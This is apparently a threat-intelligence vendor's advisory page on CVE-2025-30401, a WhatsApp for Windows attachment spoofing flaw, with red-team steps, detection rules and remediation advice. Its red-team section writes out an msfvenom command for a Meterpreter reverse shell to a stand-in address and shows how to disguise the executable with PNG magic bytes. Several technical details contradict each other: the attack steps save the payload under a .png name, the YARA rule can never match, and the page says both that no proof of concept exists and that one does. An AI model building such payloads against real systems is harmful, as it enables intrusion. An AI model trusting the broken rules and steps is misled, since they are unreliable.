CVE-2025-30401
Executive Summary
CVE-2025-30401 is a spoofing vulnerability in WhatsApp for Windows that allows an attacker to craft a malicious attachment whose MIME type and filename extension are mismatched. When the recipient manually opens the attachment inside WhatsApp, the application displays the attachment according to its MIME type (e.g., showing a harmless image preview) but selects the file opening handler based on the filename extension (e.g., executing a .exe or .scr file). This mismatch can cause the recipient to inadvertently execute arbitrary code instead of viewing the expected content. The vulnerability affects versions prior to 2.2450.6. No evidence of exploitation in the wild has been reported, and no public proof-of-concept code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Attack Vector (AV): Local (requires user to open attachment)
- Attack Complexity (AC): Low (simple file crafting)
- Privileges Required (PR): None
- User Interaction (UI): Required (victim must manually open the attachment)
- Scope (S): Unchanged
- Confidentiality (C): High (arbitrary code execution)
- Integrity (I): High (attacker can modify system)
- Availability (A): High (potential for ransomware or system compromise)
- Threat Level: High – Exploitation requires user interaction but can lead to full system compromise.
Deep Dive & Mechanics
The vulnerability lies in how WhatsApp for Windows handles file attachments. When a user receives an attachment, WhatsApp reads the file’s MIME type to determine how to display it (e.g., image/png shows a thumbnail). However, when the user double-clicks or manually opens the attachment, WhatsApp uses the file’s filename extension to select the default handler from the operating system. An attacker can craft a file with a benign MIME type (e.g., image/png) but a dangerous extension (e.g., .exe or .scr). The victim sees a harmless image preview, but opening the file triggers execution of the malicious payload.
Attack Flow:
- Attacker creates a file with a malicious payload (e.g., a .exe).
- Attacker renames the file to have a benign extension (e.g., image.png) but manipulates the MIME type to match the benign extension.
- Attacker sends the file via WhatsApp.
- Recipient sees a preview of the file (e.g., a PNG thumbnail).
- Recipient double-clicks the attachment to view it.
- Windows uses the filename extension (.png) to open the file, but the file is actually an executable. If the extension is .exe, the system executes the payload.
Root Cause: The application does not enforce consistency between the MIME type used for display and the filename extension used for handler selection.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: Uses MIME type for display, extension for handler
void OpenAttachment(string filePath, string mimeType) {
// Display based on MIME type
if (mimeType.StartsWith("image/")) {
ShowImagePreview(filePath);
}
// Open based on extension
string extension = Path.GetExtension(filePath);
Process.Start(filePath); // Uses default handler for extension
}
Patched Code (Conceptual):
// Patched: Uses MIME type for both display and handler selection
void OpenAttachment(string filePath, string mimeType) {
// Display based on MIME type
if (mimeType.StartsWith("image/")) {
ShowImagePreview(filePath);
// Open using MIME type handler
OpenWithMimeTypeHandler(filePath, mimeType);
} else {
// For non-image types, warn user
ShowWarning("This file type may be unsafe.");
}
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Windows machine with WhatsApp for Windows < 2.2450.6
- Ability to send a crafted file to the victim
Steps:
- Create a malicious executable (e.g.,
payload.exe) using msfvenom or custom code. - Rename the file to
innocent_image.pngbut keep the executable content. - Use a tool like
filecommand or hex editor to ensure the MIME type isimage/png(by adding PNG magic bytes at the beginning). - Send the file via WhatsApp.
- Victim sees a PNG thumbnail; when they open it, the executable runs.
Example Payload Generation:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
# Prepend PNG magic bytes
printf '\x89PNG\r\n\x1a\n' > crafted_file.png
cat payload.exe >> crafted_file.png
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team
Detection:
- Monitor for files with mismatched MIME type and extension in WhatsApp download directory.
- Use file integrity monitoring to detect unexpected file executions from WhatsApp.
- Enable Windows Defender Attack Surface Reduction (ASR) rules to block executable content from messaging apps.
Hunting:
- Search for processes spawned from
WhatsApp.exethat have unusual parent-child relationships. - Look for file creation events in
%USERPROFILE%\AppData\Local\WhatsApp\*with extensions like .exe, .scr, .bat.
Indicators of Compromise (IOCs)
- File Hashes: (None publicly known)
- Network Indicators: (None specific)
- Registry Keys: (None)
- Process Names:
WhatsApp.exespawningcmd.exe,powershell.exe, or other interpreters. - File Paths:
%USERPROFILE%\AppData\Local\WhatsApp\*\*.exeor*.scrwith mismatched MIME types.
Detection Engineering
YARA Rule
rule CVE_2025_30401_WhatsApp_Spoofing {
meta:
description = "Detects files with mismatched MIME type and extension indicative of CVE-2025-30401"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-30401"
strings:
$png_magic = { 89 50 4E 47 0D 0A 1A 0A }
$exe_magic = { 4D 5A }
condition:
$png_magic at 0 and $exe_magic at 0
}
Sigma Rule
title: CVE-2025-30401 WhatsApp Attachment Spoofing
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects execution of files from WhatsApp download directory with suspicious extensions
author: Valters IT
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\WhatsApp.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
condition: selection
falsepositives:
- Legitimate use of command line tools from WhatsApp
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-30401 WhatsApp Attachment Spoofing - Potential Payload Download"; flow:to_server,established; content:"WhatsApp"; http_user_agent; content:".exe"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade WhatsApp for Windows to version 2.2450.6 or later.
- Educate users not to open attachments from untrusted sources.
Long-term:
- Implement application control policies to block execution from messaging app directories.
- Use Windows Defender ASR rules to block executable content from Office and messaging apps.
- Enable file extension whitelisting for downloaded attachments.
Patch Details:
- Update to WhatsApp for Windows version 2.2450.6 or later via the official Microsoft Store or WhatsApp website.
Valters IT
DevSecOps & Cyber Threat Intelligence
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.